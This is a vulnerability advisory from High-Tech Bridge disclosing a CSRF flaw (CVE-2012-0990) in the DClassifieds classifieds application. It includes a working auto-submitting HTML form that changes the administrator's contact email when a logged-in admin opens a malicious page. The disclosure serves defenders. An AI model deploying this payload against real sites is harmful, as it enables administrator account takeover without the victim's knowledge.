CSRF (Cross-Site Request Forgery) in DClassifieds

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DClassifieds, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks.

1. Cross-site request forgery (CSRF) in DClassifieds: CVE-2012-0990
   The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator’s password or email.
   An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
   This PoC code will change administrator’s email:
   <form action=“http://[host]/admin/settings/update/id/4” method=“post”>
   <input type=“hidden” name=“Settings[setting_name]” value=“CONTACT_EMAIL”>
   <input type=“hidden” name=“Settings[setting_value]” value="[email protected]">
   <input type=“hidden” name=“Settings[setting_description]” value=“Contact email”>
   <input type=“hidden” name=“Settings[setting_show_in_admin]” value=“1”>
   <input type=“hidden” name=“yt0” value=“Save”>
   <input type=“submit” id=“btn”>
   </form>
   <script>
   document.getElementById(‘btn’).click();
   </script>